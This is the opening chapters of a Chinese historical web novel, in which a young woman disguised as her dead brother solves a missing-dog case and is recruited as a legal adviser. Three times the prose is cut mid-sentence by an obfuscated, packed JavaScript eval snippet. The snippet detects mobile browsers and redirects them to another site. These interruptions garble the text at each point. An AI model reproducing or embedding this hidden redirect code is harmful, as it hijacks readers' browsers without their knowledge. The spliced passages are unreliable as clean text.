《我有特殊的升官技巧》 1. 第 1 章 1. 大虞王朝,昭明二十三年。 眼看着一匹匹骏马疾驰而去,摆馄饨摊的刘老汉敏锐地意识到有什么不对,看看剩下不多的馄饨,难得起了收摊的心思。 馄饨摊本小利薄,今天这温度,剩下的这些馄饨拿回家,只能自家人吃掉,今日的利润便也就所剩无几了。 心里这么想着,人老成精的刘老汉也明白留得青山在,不怕没柴烧的道理,终究还是狠狠心,动作利索地收拾起来,安慰自己儿孙已经很多天没有吃肉,今晚也算是加餐了。 就在刘老汉忙碌的时候,两个外乡人冒雨来到摊子钱:“老丈,麻烦下两碗馄饨。” 刘老汉拒绝道:“客人请往别处吧,老汉今日收摊了。” “你这老丈,明明还剩了这么多馄饨,有生意还不做?”其中一人纳闷地说道。 另一人抬手拦了拦,制止了同伴接下来的话,客气地询问老汉:“雨天天寒,不知老丈能否给我们两碗热水?” “两位是外乡人吧?如果还没投宿,尽快去客栈入住,到时候自然能吃上客栈的热汤,不要在老丈这里耽误。”刘老汉说着,还主动替人指了路:“这条街走到头右转,就有好几家客栈,应当是还未满房的。” 外乡人听了,主动向刘老汉道了谢,还拉着同伴一起帮刘老汉收拾了一下桌椅绑在板车上,才告辞离去。 同伴走在路上还在纳闷:“砚秋哥你干什么拦着我?这老汉奇奇怪怪的,我还想追问呢。” 砚秋闻言忍不住道:“你这毛毛躁躁的脾气什么时候能改?还找我说为什么少爷不让你贴身伺候,你看看你这样……” 抱怨了一句,砚秋又继续解释道:“那老汉手脚粗糙,穿着草鞋,这种细雨天气都出来摆摊,如果不是有事,会在馄饨没卖完的情况下就提前回家吗?” “人家已经提醒我们尽快投宿了,不该问的话你就不要问,别人不说,自然是不能说,想要知道为什么,在客栈里注意打听着就好。” 听到砚秋的话,墨秋鼓了鼓腮帮子,心想砚秋哥就是传说中的吃力不讨好,明明都解释了,还非要教训自己几句。 想归想,墨秋还是跟着砚秋来到客栈,定了一间可以住两个人的中等房,收拾了一下被打湿的衣物就迫不及待下楼坐到客栈大堂,一边叫了两碗热汤面,一边听着客栈大堂商人旅人聊天。 “今天这天气,官老爷们还往河边去,真是忧国奉公啊。”有人感慨着起了聊天的头。 “可不是,大人们夙兴夜寐,才有我们大虞这朗朗乾坤啊。” 听着这话,墨秋身后坐着的人忍不住嘀咕了一句:“谁不知道当官的什么样,这么急匆匆地跑出去,看样子整个班房都出动了,肯定是运河那边出事了,不然这种天气,他们肯定都是在官衙里喝茶的,能派一两个小喽啰过去就算是尽忠职守了。” 砚秋和墨秋立马明白了刘老汉为什么急着离开——他的摊子靠近运河,不赶紧走,后面肯定会被带去官衙问话,这官衙进去了,想要再出来,至少要脱一层皮。 八卦群众的眼睛或许是雪亮的,运河确实是出事了。 准确地说,运河没事,是河道总督御史王大人出事了。 内卫镇抚使柳大人看过河道总督御史已经泡地肿胀的尸体,吩咐属下:“多找几个水性好的汉子,沿着河道上下游好好找找,有没有什么证据沉在河底。” 说完,柳镇抚使伸出手,手下毕恭毕敬地呈上用手帕包裹的青玉玉佩。 看着这块青玉玉佩,柳镇抚使百思不得其解:“这王大人偷偷含进嘴里的青玉,究竟有什么线索呢?” 侍立在一旁的属下们都不敢说话,这种上达天听的大案子,说错一句话,可能就是身首异处的结局,属下们只恨自己为什么前几天没被外派出去公干,偏偏没躲过这件大案。 要知道死去的河道总督御史可是正四品的大官,代天子巡狩,柳镇抚使作为内卫数得上名号的人,也不过从四品,已经是了不得的人物,结果王大人死在了柳镇抚使管理的地界,天子追究下来,柳镇抚使都不一定能全身而退,自家内卫的兄弟们也不知道会倒霉多少人。 单是想一想,属下们就觉得自己命苦。 墨秋倒是没觉得自己命苦,只觉得嘴巴苦:“这地界的菜怎么是苦的?” 后面的人探头看了眼:“这苦菜就是苦的啊!咱们这边常见的野菜,下火!” 就算卖身为奴,墨秋这辈子吃的最大的苦可能就是这盘菜了。 看着墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374192|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋皱巴巴的脸蛋,砚秋暗自笑了一下,而后夹了一口,不由心里暗自评价:这玩意儿确实挺苦的。 两人此时早就从周围人的话语中知道本地官府还算清明,不会乱抓人,不管运河边发生什么事,和路过的普通人却没什么关系,所以也放松了下来。 放松下来之后,墨秋也没忘了这次出来的任务,又急性子地问搭话的人道:“这位大哥是本地人,可知道程家庄怎么去?” 那人听了墨秋的话,没有回答,反而问道:“你们是去程家庄走亲访友?” “我们有事寻人。”墨秋回答道。 那人一听,就笑了:“是去请师爷吧?” 砚秋和墨秋对视一眼,觉得没必要隐瞒:“大哥怎么知道的?” “都说我们绍兴师爷甲天下,这程家庄的程氏可是出师爷的大姓,过去那边寻人的,要么就是请人帮着打官司的苦主,要么就是请师爷随自己赴任的新父母官,你们两面上没有一点难色,肯定就是第二种了。” “老哥慧眼如炬。”砚秋恭维道。 “我这算什么?”那人摆手道:“都说刑名程钱粮李,这程家人才叫厉害呢,看你们一眼就知道你们是干啥的了。” 墨秋闻言只不信:“哪有那么玄的?!” 砚秋也不信,只是不会反驳。 “嘿!你们不知道,那程家人之前可是……”那人自发地给砚秋和墨秋科普了起来。 墨秋和砚秋不信,程家人自己却是深信不疑。 “三娘,曦哥儿在吗?我家大黄丢了,让曦哥儿帮我算算它跑哪儿去了?别不是被外村人抓了炖狗肉吃了吧?”程家祖母辈的老太太问道。 三娘闻言哭笑不得:“婶子,曦哥儿读的是圣贤书,学的是刑名师爷,他又没学易经算命,您把他当做能掐会算的神算子了不成?他哪能知道大黄去哪里了啊?” “怎么不行?”老太太说道:“曦哥儿连张六家的锅都能找到,不是神仙,也是神算了!你不让曦哥儿试试,怎么知道他做不到呢?” 撑着油纸伞走到家门口的程曦听到老太太的话,不由嘴角抽搐了一下:自己的名声啊!咱这人设没成古代福尔摩斯也就算了,专业对口也应该是讼棍才是啊,怎么还变成了算命神棍了? 2. 第 2 章 2 “曦哥儿回来了?”三娘正好看到走到门外的程曦,打招呼道:“家里我都打扫好了,你五奶奶找你有事,你们先聊,我还赶着回家做饭呢。” 程曦点点头:“我知道了,多谢三大娘。” “谢什么谢?你又不是没给钱,这不都是应该的吗?”三娘爽快地说了一句,摆摆手就离开了。 老太太看到程曦,连忙说道:“曦哥儿,我们家大黄也是你看着长大的,你不能不管啊!” 隔壁邻居家的狗子,确实是自己看着长大的没错,但这话这样说是不是有点奇怪……程曦秉持着尊老爱幼的好习惯,询问道:“大黄是不是自己跑出去玩了,也许等等就回家了?” 大黄是什么德性,程曦作为邻居那是一清二楚——这狗子就不是一只刻板印象里的乡村田园犬,它又懒又馋还不着家,完全颠覆了先辈塑造出来的好印象。 谁家狗子为了第一时间吃鸡骨头能跳墙来邻居家乞食啊?谁家狗子乞食是你还没吃完就不停地拱你让你扔还带着肉丝的骨头啊? 虽然日常嫌弃,但是程曦对大黄还是有感情的,此时依然不慌不忙,纯粹是因为大黄已经是离家出走的惯犯了。 听到程曦的话,老太太着急道:“你昨日不在不知道,大黄已经两天没回来了!” 听到这话,程曦立刻意识到了大黄估计真的遇见什么事了:“五奶奶您别着急,和我仔细说说,大黄失踪了两天,是前天离开家就没回来过了?” “可不是!”五奶奶拍着大腿说道:“我家小子昨晚上钓了癞蟆蟆回来,大黄都没踪影,要不我也不能现在就来找你啊。” 干活不积极,吃饭第一名,这是大黄的真实写照,所以它昨天没回来,是真的很大的事了。 程曦看着激动的老太太,追问道:“那大黄出门前有没有什么和往常不一样的地方?” 老太太回忆了半天,十分肯定地回答道:“绝对没有!” 说完,老太太眼巴巴地看着程曦:“曦哥儿,你能给我算算,大黄去哪儿了吗?” “五奶奶,我真的不会算命。”程曦无奈。 “曦哥儿啊!你可不能不管大黄啊!”老太太一把抓住程曦的手。 “五奶奶,我没说我不管,我确实不会算命,但是我可以去您家里看看有没有什么线索。”程曦解释道。 “行行行,你赶紧来。”老太太拉着程曦就去到了隔壁。 来到隔壁,老太太的儿孙都和程曦打招呼:“曦哥儿来了?” 程曦一一打过招呼,观察了一番,神色凝重起来:“大黄平时离家出走都会叼上食物,狗洞的草不会有咬痕,这次没有带,你们看这里被咬过的痕迹很明显,说明大黄并没有打算出远门,没有叼东西,所以不是用腿刨的草。” 这一点除了程曦,其他人都没有发现,当程曦点出来后,邻居家的脸色都凝重了起来。 又询问了一遍“目击证人”们,程曦确认大黄离开之前确实是没有任何异常情况的。 “我听说前段时间县里开了家狗肉馆,大黄不会被人抓走卖去了吧?”老太太着急地直跺脚。 程曦安慰:“咱们庄里不比乡里县里,来陌生人还是很显眼的。” “我就怕族里那几个不着调的二流子把大黄打死配酒喝了。”五爷爷也在发愁。 “我就说大黄这整天不着家的不是回事,要把它关家里,你们一个个的舍不得,结果好了,也不知道是不是被狗贩子抓走了,听说他们最喜欢肥狗了。”程曦的族兄叹气道。 “呸呸呸!别咒大黄!它那么机灵,肯定好好的!说不准在谁家里蹭吃蹭喝呢!”族叔立马反驳儿子,说道。 这个假设说完,族叔立马看向程曦:“曦哥儿,你说有没有可能大黄赖在谁家里啊?” 这事都不用程曦解释,老太太就先说了:“谁会收留一只陌生的狗?要是认识的人家,能两天了都不和我们说一声?” 族兄看向老太太:“奶奶你就收留了不认识的大黄啊。” 老太太反驳道:“狗上门是来财的!而且它那时候是小狗,和现在怎么一样?” 几人说话的时间,程曦好好地打量了一下大黄的狗窝,发现地上泥土的痕迹不太对,刚刚因为下雨土地湿的原因没发现,仔细打量还是能看出色差,于是招呼族兄挖开了狗窝边上的泥土。 这一挖,就发现了还没腐烂的骨头。 “这看起来不是鸡骨头啊,家里最近一个月除了鸡和昨天的癞蟆,没吃过别的肉。”族兄说着:“这是什么动物的?” “看骨头的大小,应该是小型动物。”程曦拿了根树枝扒拉了一下,说道。 “难道是大黄去别人家里讨的?”族兄猜测。 族兄话没说完,程曦又在土堆里扒拉出来一小块皮毛。 “看这皮毛也没有腐烂的迹象,应该是大黄最近几天带回家的,如果是人家给大黄的,皮毛肯定要单独留下来做内衬的,这估计是大黄自己吃的生肉。”说着,程曦还没忍住笑,对族兄说了一句:“大黄的伙食不错啊,兄长没沾上光吗?” 族兄陷入了一瞬的沉默,不知道该不该骂大黄这个逆子,但还是忍住情绪提醒程曦:“这事我后面再和它算账,现在找大黄要紧!” 程曦已经推测到大黄的去处,也因如此才有空打趣族兄,闻言只是说道:“问问村里的猎户在附近哪些地方布置了陷阱,咱们要找大黄,必须要上山了。” 程曦话音落下,邻居家众人的神色从疑惑到恍然,紧跟着咬牙切齿:“大黄这死狗!” 老太太还在担心:“大黄不会是掉到陷阱里去了吧?你们赶紧去找找它啊。” 听到老太太这话,族兄和族叔脸上也不免浮现出担忧,两人一边嘴上骂骂咧咧地蛐蛐大黄吃独食,一边跟着程曦加快脚步赶往猎户家中。 在听说一行人的来意之后,猎户露出了难以名状的表情,对于自己近期收获减少的原因有了非常有力的猜测。 有了这番猜测,猎户自然知道应该带几人去哪里找大黄。 “前段时间我在后山的两个陷阱总是有猎物痕迹,但从没见到猎物,我还以为是被山上的动物吃了,现在想来,估计是大黄发现了我的陷阱,因为那里很少见得到猎物,所以我也有三四天没去看过了,这时间也对的上。”猎户解释道。 听到猎户的话,族叔连连道歉并且保证:“大黄吃掉的,我们肯定赔!” “不必不必!”猎户连忙说道:“我的陷阱经常会被过路的小动物打劫,不是大黄也会被山里的动物吃掉,就当是我送大黄的好了。” 程曦心想,大黄可不一定会感谢你,没准还以为这些都是大自然的馈赠呢。 这么想一只小狗,自己真的太不应该了,程曦反思了一番,得出结论,主要还是狗坏,自己人好,居然还会因为恶意揣测大黄而反省,自己还是太善良了。 细雨天气,上山的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374193|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小径湿滑,一行四人紧赶慢赶才爬到了第一个陷阱边。 还没过去边上,程曦就看到了大黄的身影。 “大黄?”族兄也看到了,连忙呼唤道:“你这傻狗下雨都不知道回家吗?!” “是不是大黄也被陷阱伤到了动不了?”好心猎户猜测。 猎户这么一说,族叔和族兄都有点紧张,连忙抓着边上的草根往上爬,只有程曦看着大黄那不停抖动的耳朵,察觉到了不对。 果然,率先爬上去的族兄很快就爆发出满含感情的怒吼:“大黄!” 程曦也爬了上来,看看陷阱里死去的母猪和饿得嗷嗷叫的一群小猪,看看母猪尸体上被啃食的痕迹,又看看耳朵耷拉下来的大黄,还有什么不明白的:这大黄是舍不得陷阱里没吃完的猪,怕自己回家了会被别的动物抢走,所以一直守着日夜加餐啊! 也就是后山没什么大型动物,不然大黄早就和母猪一起在猛兽肠胃里团聚了。 程曦不得不感叹,有些人养狗,狗是来报恩的,有些人养狗,狗是真的狗…… 看着族兄揪着大黄教训,族叔让猎户带着陷阱里的母猪小猪回家,一边忙着打包小猪一边推拒猎户要分给自己的部分,程曦内心默默作了一份结案报告:大黄失踪案,死一猪,无人无狗伤亡。 付出了大黄被揪耳朵打屁股的代价,一行人收获满满地下了山,连一向被族人认为手无缚鸡之力的程曦都被委以重任,拎了一头被分给她的绑好的小猪下山。 没有理会大黄装可怜的“呜呜”声,族兄和猎户喜气洋洋地抬着大黄啃剩的母猪,族叔拎着四头小猪,一边快速下山,一边还不忘看看程曦情况如何,生怕一头小猪就压垮了程曦。 说起程家庄人对程曦的印象,那就是一个脑子聪明但是身体不行的书生。 程曦十一岁就中了秀才,还是廪生,后面身体不好,每次要考举人前都会生病,身量长得也不够高大,看起来就文文弱弱的,所有的老师同学都可惜她因为身体原因不能继续科举进学,但举人乡试的科考强度不是考秀才的县试院试能比的,程曦看上去就是那种进去了就会一命呜呼再也出不来的书生。 这也是程曦故意制造出来的假象。毕竟她一个女孩子,十一岁考秀才的时候搜身不严,小男孩和小女孩的差别也不明显,但程曦刚拿到秀才功名,就听闻朝廷下令日后考试要宽衣检查,程曦哪里还敢去? 科举的路子走不通,作为“刑名程”的程家人,程曦很自然地就把主意打到了当师爷上,拜了族中的长辈的路子,刑名律法学得如何尚且不知,推理探案水平是全乡闻名了,别的不说,五奶奶家大黄丢了,第一个找的就是程曦。 都说树的影儿人的名,虽然现在都是小案子,但是程曦有信心未来做大做强。 程曦寻思着,就算后面廪生的廪膳银被贪污克扣,绣花缝纫做饭种地一窍不通的自己也不至于因为没什么谋生手段饿死了。 这不,当程曦一行人带着乐不思蜀的大黄回家,顺便帮程曦看家的邻居老太太就说道:“曦哥儿,有两人来找你,估计是又有什么要你帮忙的案子,我让你五爷爷招待他们呢,你快去看看!” 程曦闻言应了声,蹭掉鞋底的湿泥,用瓢在水缸里舀水冲洗了还留有草木汁液的双手,整理好衣服,才走去了正房。 进入正房,程曦眼睛一扫,看清楚来找自己这两人的衣着,微微皱了皱眉头:这两人看上去可不是需要自己帮忙查案的样子啊? 3. 第 3 章 3 “在下程曦,失礼了,不知足下如何称呼?”程曦拱手见礼,客气问道。 砚秋和墨秋对视一眼,同时拱手问好:“程秀才有礼。” 见礼之后,砚秋才继续说道:“秦国公府下仆砚秋和墨秋,见过程秀才。” 一旁的五爷爷听到两人的话,惊讶地微微瞪大了眼睛:这么气派的两个人,居然是奴才? 虽然两人衣着很朴素,但是五爷爷一眼就看出这两人谈吐过人。 不过想想两人说是秦国公府的,五爷爷又稍微理解了一些,宰相门前七品官,这豪门世仆,比小官气派也是正常的。 “两位客气了。”程曦甚至不需要看两人气质谈吐,第一眼看两人衣着,就料定他们的身份不简单了。 学圣贤书的,可以不知道衣料等级,做师爷的可不能不知道,程曦跟着族里的前辈学了好几年,一打眼就能知道这两人身上的衣服虽然是棉布,但也是松江府的上等棉布,一匹的价格不比普通的绸缎低。 这年头,舍得花银子买绸缎的不一定是有钱人,但是舍得花钱买比普通绸缎还贵的棉布的,一定是有钱人,所以从一开始,程曦就表现地客气又警惕。 五爷爷本来还想听听八卦,知道这是大人物家中家仆之后,人老成精的五爷爷发挥了小农民的智慧,连忙寒暄一两句就退了出去,就怕知道地越多越危险。 “两位来家中寻程某,不知所为何事?”程曦不打算多作寒暄,询问道。 砚秋也没有绕圈子,直截了当地说道:“我们家少爷今年金榜题名,听同年张武鎏进士老爷提及程秀才您的本事,想要聘请程秀才当刑名师爷,随我们家少爷赴任。” 程曦一听张武鎏这个名字,就明白了过来。 张武鎏是自己当年的同窗,年纪比自己大了几岁,去年中举前经常来找自己探讨时文,没想到今年春闱居然已经考上了进士,实在是鸿运当头,想来过不了多久报喜的队伍就要去邻乡了。 读书的时候张武鎏和自己的关系就不错,一直也替自己可惜,可惜每年秋冬自己都会犯寒疾不能继续举业,知道自己想当刑名师爷谋生,碰到说得来的同窗力荐自己也说得过去,只是不知道他怎么就和秦国公府的少爷拉上了关系。 按理说,秦国公府作为勋贵,和寒门学子八竿子都打不着啊。程曦实在是有点纳闷。 所有的想法都是一瞬间,程曦紧跟着盯住两人的眼睛问道:“秦国公府的少爷,还会缺师爷?” 程曦这话算是问到点子上了,作为国公爷,秦国公家又不缺钱,按理说想给他家当师爷幕僚的不会少,怎么看都不会轮得到程曦这么个远在外地还名不见经传的小人物。 砚秋对程曦的问题并没有感到意外,如果连这点敏锐度都没有,这位程秀才就太多名不副实了一点。 听闻程曦的问题,砚秋给出了解释:“我家少爷是勋贵武转文成功的第一人,那些清流和文官怕勋贵插手他们的地盘,所以一致抱团排挤我们少爷,想要请到合适的师爷并不合适,水平如何还是其次,更怕有他们的人假意加入,伺机陷害。” “若是如此,你们怎么就相信张武鎏不是被清流文官派出来误导你们的呢?”程曦进一步追问。 “我们少爷救过张大人的命!他也是偷偷告诉我们少爷的。”墨秋连忙说道:“张大人的话当然可信!” 听到墨秋的话,程曦没忍住笑了一下。 砚秋和墨秋非常莫名:这程秀才笑什么?! 虽然都是这么想,但是砚秋比墨秋沉稳地多,并不打算点破,甚至打算制止墨秋的动作,但是不妨碍急性子的墨秋反应比砚秋快得多,没等砚秋制止就问了出来:“程秀才你笑什么?” 程曦见状也没顾忌什么,摇了摇头:“我笑你们少爷,救过人家,那人就是可以信任的吗?” 墨秋反应了一下才明白过来,微微长大了嘴巴,不可思议地说道:“张大人还会恩将仇报不成?” “那可说不定啊。”程曦笑眯眯地说道:“你们少爷救了张武鎏,只能证明你们少爷在某些方面算个好人,又不能证明他救的就是好人?” 砚秋和墨秋听在耳中,只觉得这番话振聋发聩:是啊,谁能保证自己救的人就是一个好人呢? “那张武鎏莫非想要害我们少爷不成?他投靠了那些清流?!”沉不住气的墨秋爆了。 “墨秋!”砚秋喝止他,而后说道:“程秀才能把这话说出来,就说明张大人的引荐没有错。” 墨秋反应过来,再次看向依然笑眯眯地程曦,沉默了下来。 砚秋一副非常真诚的样子说道:“多谢程秀才教导我们,程秀才是愿意接下我们少爷的邀请了吗?” “何以见得?”程曦心念一动,问道。 “若非如此,程秀才又何必提醒我们?”砚秋反问。 “就不能是我闲的没事干吗?”程曦笑嘻嘻地说:“我这人心善,见不得人欺负傻子,所以日行一善,积点功德。” “你说谁傻子?!”墨秋跳脚。 砚秋也颇为惊讶:这位程秀才说话未免太不讲究了吧?这人真的能当好师爷吗? “我又没说你,你怎么还抢着对号入座了呢?”程曦继续说道。 砚秋这时候也起了点火气:“程秀才,我们家少爷诚心请你,你不愿意拒绝就好,没必要这么侮辱人,实在是太不尊重了!” 程曦丝毫不为所动:“唉哟,你们少爷好诚心喔!我好感动喔!他真的太懂得尊重了!” 听着程曦阴阳怪气的声音,墨秋忍不住捏了拳头站起来。 程曦见这两个小伙子说不过可能要动手,怕再刺激下去自己双拳难敌四手,但也没藏着掖着,直接收了笑容冷声道:“我长这么大,还没见过哪家东主请师爷是让两个小厮孤身过来请的,还是空手上门没有带拜帖。” 说完,程曦一个眼风扫过去,定住了想要说话的墨秋:“连供师爷赶路的马车都没有准备,两位是走路下乡的吧?这可不是秦国公府这种财力会做出来的事。” 说完,程曦还继续吐槽:“事情做得无礼也就罢了,我就当你们少爷不懂礼,但是想请人,真实理由还藏着掖着,给个什么自己是勋贵的理由糊弄人,这不是装傻骗傻子,就是自己是傻子!” 砚秋的脸色不好看了起来:“程秀才何出此言?如何能说我们糊弄人?” 程曦笑得嘲讽:“秦国公府要是真的这么受排挤,你们家少爷还能进学?真是奇哉怪哉,怎么读书进学的时候能够找到靠谱的老师、互保的考生,当官之后反而招不到合适的幕僚了?” “这满朝的读书人,就招不到几个乐意巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374194|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结秦国公府的人不成?” “实在不行,你们秦国公府也是家大业大,拿几个子女和孙辈和文官联姻还不行吗?” 程曦这话说完,砚秋的脸色也极度不好看了起来。 “程秀才似乎对我们有误会……”砚秋说着。 没等砚秋的话说完,程曦便说道:“有没有误会的,让你们少爷来当面解释,不然谁知道是不是你们两个刁奴从中作梗,两面挑拨呢?” 砚秋只觉得这辈子没有这么憋屈过,但还是忍住了这一口气,拖着想要发火的墨秋告辞离开。 “这个程秀才想要干什么!他莫非以为自己是当代诸葛,还想要咱们少爷三顾茅庐不成?!”墨秋气得跳脚。 “是不是当代诸葛我不知道,但是这性情却比卧龙要傲气得多。”砚秋也动了火气,冷声道。 “怎么办?我们难道还要继续请他?”墨秋问道。 “先回客栈给少爷写信,由少爷定夺!”砚秋说道。 两人在门口说完就走路离开,五爷爷听到两人的对话,从门缝里看到两人的背影远去,才连忙去了程曦家。 “曦哥儿?我听刚刚那两人说的话,你把他们两气走了?”五爷爷带着担忧问道:“他们主家就派两个仆人来请师爷确实是看不起人,但是毕竟是国公爷,咱也不应该得罪他们啊!” 程曦很是淡定,安慰五爷爷道:“五爷爷对京城的情况不清楚,所以不知道,这秦国公府,得罪也就得罪了。” 听话听音,五爷爷问道:“他们可是国公爷?” “国公爷但不足为惧,”程曦解释了一下:“他们家二十多年前站错了队,在夺嫡中支持了当今的对手,现在能留下国公府的牌子,无非是因为太蠢,支持的是一个没什么竞争力的皇子,当今懒得针对他们罢了。” “虽然不会针对,但是武将要掌权,十分需要皇帝的信任支持,所以秦国公府目前也没什么人在重要的武职,这才是他们家急着让子孙由武转文的关键。”程曦一听说秦国公府的少爷中了进士,就已经想明白这其中的关节。 虽然已经厘清关键问题,但是程曦还是不明白张武鎏挺机灵一人,怎么就和秦国公府扯上了关系,他也不怕惹了皇上的厌恶? 不过今天对着秦家仆从摆出这副样子,程曦也确实是另有打算。 “这瘦死的骆驼比马大,秦国公府再如何,也比我们这些小老百姓厉害得多,得罪他们也不是明智之举,”五爷爷担忧地说道:“更何况族长的打算你也知道,如果靠不上有权有势的官员,你怎么拒绝他们的提议?” “拒绝不了就不拒绝呗!”程曦倒是很洒脱:“他们是给我送儿子,又不是给我送爹,我只听说父亲教训儿子的,还没听说有儿子能管爹的!” “他们过继给你的孩子可不会向着你孝顺你,他们都是惦记你家的财产!等你老了,不仅没人伺候,还会盼着你死呢!”五爷爷着急道。 程曦璀然一笑:“怕什么?吃光用光花光,到时候留一屁股债,他们还求着我不要死呢!不然就要父债子偿了!” 从用上亲哥的身份,程曦就明白一个道理:这世道,男人只要有功名没道德,就没有能绑架他的东西! 刚好,程曦不讲道德! “话说,族中也有卖儿卖女的,这过继来的儿子能卖吗?” 4. 第 4 章 听到程曦的话,五爷爷失语了一瞬。 “你是秀才公啊!哪有秀才卖儿卖女的?你功名不想要了?!”五爷爷以不符合年纪的矫健姿态跳了起来:“人家卖子女的,要么是赌徒,要么遭遇天灾人祸,要么长辈重病,你一个秀才,你你你……” 程曦和五爷爷讲道理:“向我这种药罐子,难道不需要孝顺儿女卖身换药吗?之前那个钱秀才的女儿不就自卖自身给父亲换药?” 说不过程曦的五爷爷已经积累了足够的经验,绝不和程曦辩论,听闻此言只说道:“知道了知道了,我们都是白担心你了。” 程曦最怕五爷爷这一招。 就好比一群人决战光明顶,你明明已经把所有人斩落剑下,但是你的对手因为打不过你掏出了一根魔法棒……这怎么打?! 五爷爷使出这一招,程曦也只能服软:“我知道五爷爷您是担心我,放心吧,我真的心里有数。” 打量了一下程曦的脸色,五爷爷确定她确实没有半点勉强之色,才说道:“曦哥儿你聪明,五爷爷也就是提醒你一下。” “你别怪我唠叨,族长和族老是什么风格你也知道,当年你爹死的时候,要不是你已经拿到秀才了,他们早就瓜分了你家所有家财,都不需要动手,就让你去服徭役,你这身体,服徭役那是必死无疑!五爷爷唠唠叨叨地说道。 程曦怎么不明白这个道理?要不然她干什么要冒着风险顶替亲哥的身份?不仅顶替亲哥身份,还主动作死去考虽然没脱光但是要验身的科举?不怕身份暴露吗?活着不好吗? 就是因为不这样做,程曦她根本就活不下去啊! 如果程曦不冒充她哥,那么当时的情况就是重病的爹、过世的娘、残暴的族长和柔弱的她。 在大虞宗族制下,女人和幼童是不算人的,只有活到老奶奶的年纪,女性才能得到一点点权力。 重病的族人如果没有继承人,就是被吃绝户的最佳人选。 有亲兄弟的,自然归兄弟,有堂兄弟的,也能归堂兄弟,都没有的,自然就归族长和族老了,什么?你说他还有遗孀和女儿?那不更好!还能卖一笔钱呢! 程曦的娘亲早年因为产育疾病逝世,大一岁的哥哥因为身体不好一直在家中养病,程曦则是因为性别一直被困在家中,两人都不怎么见亲属。 当年亲哥急病而亡,父亲急火攻心脑溢血昏迷,程曦仗着自己和亲哥年岁、身量、长相差不多,直接来了个李代桃僵,等亲爹第二天醒过来,“女儿”都妆裹入棺了。 程爹醒来的时候见程曦穿男装,问明情况后惊怒不已,当即斥责程曦离经叛道,并且打算找族人将身份挑明时,程曦就送了他一句话:“爹你信不信,你今天告诉族人你儿子死了,明天你就能死于丧子之痛?我就能失踪于拐子之手?” 程爹看着六岁的女儿悚然,而后默认了女儿的做法。 本来程爹以为女儿敢女扮男装已经是冒天下之大不韪了,结果儿子下葬之后,女儿居然跑去了族学读书! “男女七岁不同席,你怎么能去读书?!” 程曦给了血缘亲爹一个白眼:“族中子弟都能去读书,我怎么不能读书?” “你假扮你哥本来就不是正道,现在还去读书,你还能科举不成?!”程爹斥责。 “爹~你猜怎么着?我还真要去科举!”程曦笑嘻嘻地说道。 “你疯了?!”程爹说话的时候都压低了声音:“要是被发现,可是欺君之罪!” “嗨呀,欺君之罪怎么也要考上进士才算吧?爹您对我还真有信心,我寻思我能考个秀才就不错了,要是考上了举人,咱家祖坟估计都冒青烟了,考进士?咱家族谱怕不是要从我这页开始写!”程曦满不在乎地说道:“您瘫痪我体弱,要是我读书不行,您猜咱两能活多久?活到我十六岁成丁去服劳役那个月?” 虽然程曦并不是真的体弱,但是也就是正常女孩子的身体,让她去干青壮年男性都会累死的劳役?和要她的命也差不多了。 “反正我争取在发育之前考完,蒙混过关咱就万事大吉,被发现了也不过是身首分离,不赌迟早要死,赌一把怎么了?” 程曦的语气越豁达,程爹越觉得难以接受:天爷啊!我这女儿是怎么生出来的啊? 这种费解,在程曦于外人看来十一岁、亲爹知道只有十岁的年纪考上了秀才时,达到了顶峰。 程爹:我这辈子连个童生都没考上,结果女儿读书四年就中了秀才?!给她几年,族谱怕不是真要从她那里写! 也是那时候,程爹发现自己这水平是管不了这个女儿的,当程曦因为科举新令不打算再考后,放心下来的程爹一心摆烂,每天吃好喝好睡好,在程曦真实年龄十五周岁公认年纪十七岁时,于睡梦中溘然长逝。 送亲爹走的时候,程曦还在说:“老头你看,听我的没错吧?你好歹还多活了一年呢!” 自那之后,程曦近亲断绝,最亲近的就是一直照顾自家爷俩的邻居五爷爷一家了。 从回忆中抽离,程曦很自然地回答五爷爷:“五爷爷你这都是假设了,事实上,我就是中了秀才,就是免了徭役,就是有许多支持我的老师同窗让他们不敢轻举妄动。” “没阻止我进学是他们最大的败笔,如今胜负已定,他们还想通过给我过继儿子来翻盘?”程曦说起来都觉得好笑:“我当时看他们谋划那么久,还以为要怎么搞我呢,结果就这?他们凭什么觉得我不会拒绝啊?” “你别掉以轻心,”五爷爷忧心忡忡:“都知道你体弱阳虚不能生,总是要收养或者过继儿子的,如果族里就是卡着你,到时候你死的时候都没有能摔盆的人!” 穿越者程曦:啊这……该怎么说,其实我真的不需要儿子,体弱阳虚什么的,就是为了不娶妻啊! 